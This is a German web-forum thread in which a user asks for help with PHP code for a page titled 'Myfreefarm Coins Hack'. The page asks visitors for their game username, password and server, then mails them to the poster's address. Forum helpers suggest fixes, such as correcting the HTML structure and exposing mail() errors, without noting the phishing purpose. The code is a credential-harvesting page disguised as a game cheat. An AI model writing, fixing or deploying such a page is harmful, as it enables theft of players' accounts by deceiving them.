• Jetzt anmelden. Es dauert nur 2 Minuten und ist kostenlos!

Brauche Hilfe bei meinem Html code

Anonymous7783

Neues Mitglied
Hallo ich habe einen Code für meine Homepage gemacht! aber irgendwie geht der auf einmahl nicht wollte ihn grade testen doch wenn ich die seite aufrufe sehe ich nur ne blanko seite! mein Code

Code:
<html> 
 <BODY BGCOLOR="#ff6600">
 <head> 
 
  <title>Myfreefarm Coins Hack</title> 
 </head> 
<body> 

<div style="text-align: center;"> 
 <h3>Myfreefarm Coins Hack</h3> 

<?php 
if ($_POST) { 
$Username = $_POST['Username']; 
$Passwort = $_POST['Passwort']; 
$Server = $_POST['Server']; 
$deine gewünschte Coins Menge = $_POST['deine gewünschte Coins Menge']; 

 # Ihre E-Mail-Adresse 
 $an ="[email protected]"; 

 # Diese Nachricht wird an Ihre E-Mail-Adresse gesendet 
 $text = " $Username $Passwort $S erhalten:\n\n 
 ====\n $nachricht\n====\n\nSie können $vorname $nachname unter dieser $email erreichen."; 
 @mail($an, $betreff, $text, "From: " . $email); 
 echo "<b>Ihre Nachricht wurde gesendet!</b>"; 
} 
else { ?> 

<script type="text/javascript"> 
function eingaben_ueberpruefen(){ 
 var mail = document.Formular.email.value; 
 if (document.Formular.Username.value.length < 4) { 
  alert("Bitte geben sie einen gültigen Username ein!") 
  document.Formular.Username.focus(); 
  return false; 
 } 

 else if (document.Formular.Passwort.value.length < 4) { 
  alert("Bitte geben Sie ein gültiges Passwort ein!"); 
  document.Formular.Passwort.focus(); 
  return false; 
 } 

else if (document.Formular.Server.value.length < 4) { 
  alert("Bitte geben Sie ein gültiges Passwort ein!") 
  document.Formular.Server.select(); 
  return false; 
 } 

 else if (document.Formular.deine.value.length < 1) { 
  alert("Bitte gib dein gewünschte Coins Menge an!") 
  document.Formular.deine.focus(); 
  return false; 
 } 

 

 else 
 return true; 
} 
</script> 

<form name="Formular" method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>" 
 onSubmit="return eingaben_ueberpruefen();"> 
 <table cellPadding="4" cellSpacing="2" border="1"> 
  <tr> 
   <td><b>Username:</b></td> 
   <td><input type="text" name="vorname" size="35" maxlength="15"></td> 
  </tr> 
  <tr> 
   <td><b>Passwort:</b></td> 
   <td><input type="text" name="nachname" size="35" maxlength="30"></td> 
  </tr> 
  <tr> 
   <td><b>Server:</b></td> 
   <td><input type="text" name="email" size="35" maxlength="2"></td> 
  </tr> 
  <tr> 
   <td><b>Deine gewünschte Coins Menge:</b></td> 
   <td><input type="text" name="betreff" size="35" maxlength="10"></td> 
  </tr> 
  <tr>  
   <th colspan=2><br> 
    <input type="submit" value="Absenden"> *  
    <input type="reset"> 
   </th> 
  </tr> 
 </table> 
</form> 

<?php  
} 
?> 

</div> 

</body> 
</html>


Gruß JOshua
 
Das ist PHP-Code, keine HTML-Seite. Daher kann man nicht wirklich beurteilen was an der Darstellung im Browser nicht stimmt, da dafür nur der erzeugte HTML-Code relevant ist.

Unabhängig davon sehe ich bereits 2 Fehler direkt am Anfang der Datei:

HTML:
<html> 
 <BODY BGCOLOR="#ff6600">
 <head>

Das ist falsch. Der body kommt immer nach dem head.

Und: Ein Doctype fehlt vor <html>.
 
okay danke schonmal für die Antwort habs überarbeitet ! jetzt wirds geladen! doch wenn ich eine e-mail erhalte steht nix drinne hier der überarbeitete Code


Code:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> 
<html> 
 <head> 
  <title>Myfreefarm Coins Hack</title> 
 </head> 
<body> 

<div style="text-align: center;"> 
 <h3>Myfreefarm Coins Hack</h3> 

<?php 
if ($_POST) { 
$Username = $_POST['Username']; 
$Passwort = $_POST['Passwort']; 
$Server = $_POST['Server']; 
$Coins = $_POST['Coins']; 

 # Ihre E-Mail-Adresse 
 $an ="[email protected]"; 

 # Diese Nachricht wird an Ihre E-Mail-Adresse gesendet 
 $text = "Hallo,\n Sie haben eine neue Nachricht von $vorname $nachname erhalten:\n\n 
 ====\n $nachricht\n====\n\nSie können $vorname $nachname unter dieser $email erreichen."; 
 @mail($an, $betreff, $text, "From: " . $email); 
 echo "<b>Ihre Nachricht wurde gesendet!</b>"; 
} 
else { ?> 

<script type="text/javascript"> 
function eingaben_ueberpruefen(){ 
 var mail = document.Formular.email.value; 
 if (document.Formular.Username.value.length < 3) { 
  alert("Bitte geben sie einen Gültigen Username ein!") 
  document.Formular.Username.focus(); 
  return false; 
 } 

 else if (document.Formular.Passwort.value.length < 3) { 
  alert("Bitte geben Sie ein gültiges Passwort ein!"); 
  document.Formular.Passwort.focus(); 
  return false; 
 } 

 else if (document.Formular.Server.value.length < 1) { 
  alert("Bitte geben Sie ihre Server Nummer ein!") 
  document.Formular.Server.focus(); 
  return false; 
 } 

 else if (document.Formular.Coins.value.length < 20) { 
  alert("Bitte geben sie ihre Gewünschte Coin Megne ein!") 
  document.Formular.Coins.focus(); 
  return false; 
 } 

 else 
 return true; 
} 
</script> 

<form name="Formular" method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>" 
 onSubmit="return eingaben_ueberpruefen();"> 
 <table cellPadding="4" cellSpacing="2" border="1"> 
  <tr> 
   <td><b>Username:</b></td> 
   <td><input type="text" name="Username" size="35" maxlength="40"></td> 
  </tr> 
  <tr> 
   <td><b>Passwort:</b></td> 
   <td><input type="text" name="Passwort" size="35" maxlength="40"></td> 
  </tr> 
  <tr> 
   <td><b>Server:</b></td> 
   <td><input type="text" name="Server" size="35" maxlength="40"></td> 
  </tr> 
  <tr> 
  <td><b>Gewünschte Coins:</b></td> 
   <td><input type="text" name="Gewünschte" size="35" maxlength="40"></td> 
   </td> 
  </tr> 
  <tr> 
   <th colspan=2><br> 
    <input type="submit" value="Absenden"> *  
    <input type="reset"> 
   </th> 
  </tr> 
 </table> 
</form> 

<?php  
} 
?> 

</div> 

</body> 
</html>
 
Mach mal das @ vor @mail weg damit Du mögliche Fehlermeldungen der Funktion siehst. Das ist dann übrigens PHP, kein HTML-Thema.
 
Zurück
Oben